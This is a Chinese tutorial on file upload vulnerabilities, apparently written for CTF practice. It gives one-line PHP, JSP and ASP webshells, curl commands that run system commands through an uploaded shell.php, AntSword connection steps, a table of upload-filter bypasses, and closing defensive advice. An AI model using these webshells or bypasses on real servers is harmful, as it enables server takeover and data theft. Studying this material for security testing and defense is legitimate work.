一、什么是文件上传漏洞
文件上传漏洞是指 Web 应用程序允许用户上传文件,但没有对上传文件的类型、内容、后缀等进行充分校验,导致攻击者可以上传恶意文件(如 Web Shell),进而控制服务器的安全漏洞。
1.1 漏洞的本质
正常业务场景中,用户上传头像、文档、图片等文件,服务端将其保存到服务器目录。如果服务端信任了用户上传的所有文件,攻击者就可以上传一个伪装成图片的 PHP 脚本,然后直接访问该脚本执行任意代码。
1.2 典型的漏洞代码
1// 无验证的文件上传
2$target = "upload/" . basename($_FILES["file"]["name"]);
3move_uploaded_file($_FILES["file"]["tmp_name"], $target);
这段代码直接将用户上传的文件保存到 upload/ 目录,不做任何类型检查。上传 shell.php 后,访问 http://target.com/upload/shell.php 即可执行恶意代码。
二、常见应用场景
文件上传漏洞通常出现在以下业务场景中:
2.1 用户头像/资料上传
社交平台、论坛、博客系统允许用户上传头像、背景图。如果仅检查文件扩展名或 MIME 类型,攻击者可以通过修改后缀、伪造 MIME 等方式绕过。
2.2 附件与文档管理
企业 OA 系统、邮件系统、网盘允许上传文档、压缩包。如果服务端对压缩包内的文件不做二次检查,攻击者可以上传包含 Web Shell 的 ZIP 文件。
2.3 编辑器与富文本组件
富文本编辑器(如 UEditor、KindEditor)的图片上传功能,如果没有严格限制上传类型,可能成为 getshell 的入口。
2.4 API 文件接口
前后端分离架构中,前端通过 API 上传文件到 OSS 或服务器。如果 API 没有校验文件类型,攻击者可以直接调用接口上传任意文件。
三、环境判断:确定用什么木马
上传木马前,必须先判断目标环境的语言和中间件,否则上传的木马无法执行。
3.1 判断方法
| 方法 | 操作 | 示例 |
|---|---|---|
| URL 后缀 | 观察页面 URL | index.php → PHP |
| Wappalyzer 插件 | 浏览器插件自动检测 | 显示 PHP、Apache、Nginx |
| 响应头 | 查看 X-Powered-By | X-Powered-By: PHP/7.3.14 |
| 报错页面 | 触发 404 或报错 | Fatal error: Uncaught Error → PHP |
3.2 常见木马类型
| 环境 | 木马后缀 | 示例 |
|---|---|---|
| PHP | .php | <?php eval(@$_POST['a']); ?> |
| JSP | .jsp | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
| ASP | .asp | <% eval request("cmd") %> |
| ASPX | .aspx | <%@ Page Language="Jscript" %> |
四、一句话木马原理
4.1 PHP 一句话木马
1<?php eval(@$_POST['a']); ?>
执行逻辑:
$_POST['a']接收 HTTP POST 请求中参数名为a的值eval()函数将接收到的字符串当作 PHP 代码执行- 攻击者发送
a=phpinfo();,服务端就会执行phpinfo()
4.2 变体写法
1<?php @eval($_REQUEST['cmd']); ?> // 同时支持 GET 和 POST
2<?php system($_GET['cmd']); ?> // 直接执行系统命令
3<?php assert($_POST['a']); ?> // assert 代替 eval
4<?php @preg_replace('/a/e',$_POST['a'],'a'); ?> // preg_replace 执行
4.3 为什么叫「一句话」
整个木马只有一行核心代码,体积极小,容易隐藏在正常文件中,难以被静态检测发现。
五、手工利用完整流程
5.1 创建木马文件
将以下内容保存为 shell.php:
1<?php eval(@$_POST['a']); ?>
5.2 上传文件
在目标网站的上传页面,选择 shell.php,点击上传。
5.3 获取上传路径
上传成功后,页面通常会返回文件的访问路径:
1文件上传成功!路径:/upload/shell.php
5.4 测试木马是否可用
使用 curl 发送 POST 请求,执行 phpinfo():
1curl -X POST \
2 -d "a=phpinfo();" \
3 "http://target.com/upload/shell.php"
如果响应中包含 phpinfo() 的 HTML 输出,说明木马已成功执行。
5.5 查找 flag 文件
1# 查看当前目录文件
2curl -X POST -d "a=system('ls');" "http://target.com/upload/shell.php"
3
4# 查看上级目录
5curl -X POST -d "a=system('ls ..');" "http://target.com/upload/shell.php"
6
7# 读取 flag 文件
8curl -X POST -d "a=system('cat ../flag_xxx.php');" "http://target.com/upload/shell.php"
或者用 PHP 函数读取:
1curl -X POST \
2 -d "a=echo file_get_contents('../flag_xxx.php');" \
3 "http://target.com/upload/shell.php"
六、使用蚁剑连接木马
手工用 curl 操作效率低,推荐使用 中国蚁剑(AntSword) 等 Web Shell 管理工具。
6.1 添加连接
- 打开蚁剑 → 右键空白处 → 「添加数据」
- URL:输入木马的访问地址,如
http://target.com/upload/shell.php - 连接密码:输入木马中的参数名,如
a - 编码器/解码器:默认即可
- 点击「测试连接」,显示连接成功即可保存
6.2 文件管理
连接成功后,右键「文件管理」,即可像操作本地文件系统一样浏览服务器目录:
- 查看、编辑、删除文件
- 上传、下载文件
- 执行终端命令
6.3 虚拟终端
右键「虚拟终端」,可以直接在服务器上执行命令:
1ls -la
2cat flag_xxx.php
3whoami
七、常见绕过手法
虽然「无验证」题目没有任何限制,但实际环境中经常会遇到各种过滤:
| 过滤类型 | 绕过方法 |
|---|---|
| 前端 JS 校验 | 禁用 JS 或抓包修改后缀 |
| 后缀黑名单 | 使用 .php3、.phtml、.phar 等替代后缀 |
| MIME 类型校验 | 抓包修改 Content-Type 为 image/jpeg |
| 文件内容检测 | 在文件开头添加 GIF89a 伪装图片 |
| .htaccess 解析 | 上传 .htaccess 将 .jpg 解析为 PHP |
| 条件竞争 | 利用上传和删除的时间差执行木马 |
| %00 截断 | 在 PHP < 5.3.4 中使用 shell.php%00.jpg |
八、防御建议
8.1 文件类型白名单
不要依赖黑名单(如禁止 .php),因为绕过方式太多。使用白名单,只允许特定的安全类型:
1$allowed = ['jpg', 'jpeg', 'png', 'gif'];
2$ext = pathinfo($filename, PATHINFO_EXTENSION);
3if (!in_array(strtolower($ext), $allowed)) {
4 die("文件类型不允许");
5}
8.2 文件内容检测
检查文件头(Magic Number)而非仅看后缀:
1$finfo = finfo_open(FILEINFO_MIME_TYPE);
2$mime = finfo_file($finfo, $tmp_file);
3if ($mime !== 'image/jpeg' && $mime !== 'image/png') {
4 die("文件内容不匹配");
5}
8.3 重命名与隔离存储
- 上传后重命名文件为随机字符串(如 UUID),防止攻击者预测路径
- 将上传目录设置为不可执行(Nginx:
location /upload { deny all; }) - 将上传文件存储到独立的文件服务器或 OSS,与 Web 应用隔离
8.4 二次渲染
对于图片文件,使用 GD 库或 ImageMagick 进行压缩/二次渲染,破坏嵌入的恶意代码:
1$img = imagecreatefromjpeg($tmp_file);
2imagejpeg($img, $target_path, 90);
九、总结
文件上传漏洞是 Web 安全中最常见且危害最大的漏洞之一。从「无验证」到各种绕过,核心思路始终不变:上传可执行的脚本文件,然后访问它执行任意代码。
关键记忆点:
- 先判断环境 —— PHP 用
.php木马,JSP 用.jsp木马 - 一句话木马的核心是
eval/system—— 接收参数并执行 - curl 可以手动触发 ——
curl -X POST -d "a=phpinfo();" shell.php - 蚁剑提高效率 —— 文件管理、虚拟终端一键操作
- 防御靠白名单 + 内容检测 + 隔离存储 —— 黑名单和单一校验不可靠
理解文件上传漏洞的原理和利用流程,是 Web 安全测试和 CTF 比赛中的基础且必备的技能。